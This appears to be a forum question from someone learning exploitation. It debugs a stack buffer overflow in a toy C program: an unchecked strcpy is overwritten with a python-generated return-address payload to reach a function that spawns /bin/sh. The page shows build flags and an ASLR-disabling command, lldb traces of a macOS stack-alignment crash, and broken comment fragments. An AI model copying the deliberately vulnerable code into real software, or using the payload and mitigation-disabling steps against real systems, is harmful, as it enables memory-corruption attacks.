I'm trying to perform a simple buffer overflow using the following program
void not_called() {
printf("Enjoy your shell\n");
char* name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
void vulnerable_function(char* string) {
char buffer[12];
strcpy(buffer, string);
}
int main(int argc, char** argv) {
printf("Starting!\n");
vulnerable_function(argv[1]);
return 0;
}
However when feeding it with
./hello `python -c 'print "A"*20 + "\x80\x1e"'`
with hello being compiled with
gcc -m32 -fno-stack-protector -D_FORTIFY_SOURCE=0 -Wl,-no_pie hello.c -o hello
on OS X 10.11.6, the program crashes. I confirmed that this happens already after changing the program flow - it lands at 0x1e80
and prints "Enjoy...", however the execve
seems to be failing.
Trace shows that an error occurred at 0x1ed4
, which is past the 0x1ecf execve
call, but it didn't proceed to /bin/sh
between crashing.
The %eax, -0x20(%ebp)
found under that address is obviously meant to fail, since saved ebp
was overwritten when return address was, but what is bugging me, is that it should never reach that line.
Here's some output from lldb:
* thread #1: tid = 0x42b83, 0x97f772f0 libdyld.dylib`misaligned_stack_error_, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
frame #0: 0x97f772f0 libdyld.dylib`misaligned_stack_error_
libdyld.dylib`misaligned_stack_error_:
-> 0x97f772f0 <+0>: movdqa %xmm0, 0x10(%esp)
0x97f772f6 <+6>: movdqa %xmm1, 0x20(%esp)
0x97f772fc <+12>: movdqa %xmm2, 0x30(%esp)
0x97f77302 <+18>: movdqa %xmm3, 0x40(%esp)
trace:
(lldb) bt
* thread #1: tid = 0x42b83, 0x97f772f0 libdyld.dylib`misaligned_stack_error_, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
* frame #0: 0x97f772f0 libdyld.dylib`misaligned_stack_error_
frame #1: 0xa3db5edc libsystem_c.dylib`__sFX + 184
frame #2: 0x00001ed4 hello`not_called + 84
(lldb) di -n not_called
hello`not_called:
0x1e80 <+0>: pushl %ebp
0x1e81 <+1>: movl %esp, %ebp
0x1e83 <+3>: pushl %edi
0x1e84 <+4>: pushl %esi
0x1e85 <+5>: subl $0x30, %esp
0x1e88 <+8>: calll 0x1e8d ; <+13>
0x1e8d <+13>: popl %eax
0x1e8e <+14>: leal 0x105(%eax), %ecx
0x1e94 <+20>: movl %ecx, (%esp)
0x1e97 <+23>: movl %eax, -0x14(%ebp)
0x1e9a <+26>: calll 0x1f5c ; symbol stub for: printf
0x1e9f <+31>: xorl %ecx, %ecx
0x1ea1 <+33>: leal -0x10(%ebp), %edx
0x1ea4 <+36>: movl -0x14(%ebp), %esi
0x1ea7 <+39>: leal 0x118(%esi), %edi
0x1ead <+45>: movl %edi, -0x10(%ebp)
0x1eb0 <+48>: movl $0x0, -0xc(%ebp)
0x1eb7 <+55>: movl -0x10(%ebp), %edi
0x1eba <+58>: movl %edi, (%esp)
0x1ebd <+61>: movl %edx, 0x4(%esp)
0x1ec1 <+65>: movl $0x0, 0x8(%esp)
0x1ec9 <+73>: movl %eax, -0x18(%ebp)
0x1ecc <+76>: movl %ecx, -0x1c(%ebp)
0x1ecf <+79>: calll 0x1f56 ; symbol stub for: execve
0x1ed4 <+84>: movl %eax, -0x20(%ebp)
0x1ed7 <+87>: addl $0x30, %esp
0x1eda <+90>: popl %esi
0x1edb <+91>: popl %edi
0x1edc <+92>: popl %ebp
0x1edd <+93>: retl
0x1ede <+94>: nop
With slight modifications I was able to succeed on a PC running Ubuntu 16.04, I just can't work out this misaligned stack issue.
I'm only starting research on this field so any hints are appreciated!
Edit: (Ubuntu 16.04 attempt)
I was able to succeed without a crash using the very same program compiled with gcc -fno-stack-protector hello.c -o hello
. It wasn't exactly the same, since it was 64bit this time, but I didn't have 32bit development libraries and succeeded with this setup anyway. ASLR was disabled:
echo 0 > /proc/sys/kernel/randomize_va_space
Edit:
I was able to fix the crash by adding -mrealignstack
and compiling the program with
gcc -m32 -mrealignstack -fno-stack-protector -D_FORTIFY_SOURCE=0 -Wl,-no_pie hello.c -o hello
However, I'm still interested in a manual way of fixing it, since this flag seems all too uncommon and introduces overhead of realigning the stack. That being said, there must be a way to realign the stack by hand, I'm just not sure yet how to do it.
Edit:
This only crashes when calling library functions, any chain of my own functions executed after hijacking eip
works.
the
minimal code example that should reproduce this behavior on any Mac machine (since the problem is Mac-related). – mewa Oct 7 at 2:56-fno-stack-protector -D_FORTIFY_SOURCE=0
) and ASLR (-Wl,-no_pie
). The Ubuntu I did succeed on was by the way 64bit, and the program was compiled for 64bit as well, and had stack canaries and ASLR disabled too. – mewa Oct 7 at 9:52execve
has returned, it has failed. Checkerrno
. – Michael Foukarakis Oct 10 at 14:59